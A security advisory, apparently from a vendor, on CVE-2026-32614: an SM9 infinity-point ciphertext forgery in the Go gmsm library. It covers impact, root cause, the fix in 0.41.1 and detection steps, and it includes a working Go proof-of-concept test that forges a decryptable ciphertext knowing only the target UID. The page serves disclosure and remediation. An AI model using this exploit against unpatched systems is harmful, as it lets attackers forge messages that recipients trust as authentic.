CVE-2026-32614 — gmsm
HIGHCVE-2026-32614 is a high-severity (CVSS 7.5) CWE-347 vulnerability in github.com/emmansun/gmsm. A fix is available for github.com/emmansun/gmsm — see the affected versions and patch details below.
Go ShangMi SM9 Infinity-Point Ciphertext Forgery Vulnerability
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32614.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-32614 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/emmansun/gmsmReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Overview
The current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity.
In the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check.
Impact
The direct impact of this vulnerability is ciphertext forgery, not confidentiality loss.
- The attacker does not need the master public key, the user's private key, or any other secret material.
- The attacker only needs to know the target UID to construct a seemingly valid ciphertext.
- When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext.
- The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery.
This issue affects the following paths because they all eventually enter the same UnwrapKey logic:
sm9.Decryptsm9.DecryptASN1sm9.UnwrapKey
This means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation.
Severity
This vulnerability should be rated as High.
Using CVSS 3.1 as a reference, it can be characterized as follows:
- Attack vector: Network
- Attack complexity: Low
- Privileges required: None
- User interaction: None
- Confidentiality impact: Low or None
- Integrity impact: High
- Availability impact: None
Overall, the estimated score falls in the High range, approximately 7.5.
It is High rather than Critical for the following reasons:
- It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts.
- However, it can reliably break the authenticity and integrity assumptions of decrypted data.
- In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure.
Typical Risk Scenarios
- An attacker forges a business message that can be successfully decrypted by the target user.
- The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party.
- The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material.
If a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption.
Root Cause
The root cause is that the implementation does not fully enforce the standard's decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity.
It is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O.
The current code only checks:
- Whether C1 can be successfully deserialized
- Whether C1 is on the curve
But it is missing:
C1 != O(the point at infinity)
In other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible.
Vulnerability recurrence
The overall process is as follows:
- XOR the target plaintext with
key[:len(plaintext)]to obtainC2. - Calculate
C3 = SM3(C2 || key[len(plaintext):]), which involves concatenatingC2with the latter part of the key and then computing the SM3 hash. - Construct the ciphertext as
ciphertext = C1 || C3 || C2, which means concatenatingC1,C3, andC2to form the final ciphertext. - Call
sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts)for decryption. - Note that the PoC code did not use
userKeywhen constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful.
package sm9_test
import (
"bytes"
"crypto/rand"
"testing"
"github.com/emmansun/gmsm/internal/sm9/bn256"
"github.com/emmansun/gmsm/sm3"
"github.com/emmansun/gmsm/sm9"
)
func TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {
masterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)
if err != nil {
t.Fatal(err)
}
hid := byte(0x01)
uid := []byte("[email protected]")
userKey, err := masterKey.GenerateUserKey(uid, hid)
if err != nil {
t.Fatal(err)
}
plaintext := []byte("forged-without-public-encryption")
c1 := make([]byte, 64)
gtIdentity := new(bn256.GT).SetOne()
var kdfInput []byte
kdfInput = append(kdfInput, c1...)
kdfInput = append(kdfInput, gtIdentity.Marshal()...)
kdfInput = append(kdfInput, uid...)
key1Len := len(plaintext)
forgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)
c2 := make([]byte, key1Len)
for i := range c2 {
c2[i] = plaintext[i] ^ forgeKey[i]
}
hash := sm3.New()
hash.Write(c2)
hash.Write(forgeKey[key1Len:])
c3 := hash.Sum(nil)
forgedCiphertext := make([]byte, 0, 64+32+key1Len)
forgedCiphertext = append(forgedCiphertext, c1...)
forgedCiphertext = append(forgedCiphertext, c3...)
forgedCiphertext = append(forgedCiphertext, c2...)
recovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)
if err != nil {
t.Fatalf("public Decrypt rejected forged ciphertext: %v", err)
}
if !bytes.Equal(recovered, plaintext) {
t.Fatalf("plaintext mismatch: got %q, want %q", string(recovered), string(plaintext))
}
t.Logf("VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q", string(recovered))
}
Output: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered="forged-without-public-encryption"
Remediation
In the shared UnwrapKey path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after Unmarshal and IsOnCurve succeed.
Conceptually:
if p.IsInfinity() {
return nil, ErrDecryption
}
After the fix, unit tests should be added to ensure that:
- An all-zero C1 is rejected
- The raw ciphertext path rejects the forged input
- The ASN.1 ciphertext path rejects the forged input
UnwrapKeyalso rejects the forged input
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/emmansun/gmsm | all versions | 0.41.1go get github.com/emmansun/gmsm@v0.41.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/emmansun/gmsm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/emmansun/gmsm to 0.41.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32614 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32614 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32614. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32614 in your dependencies?
O3 Security finds CVE-2026-32614 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.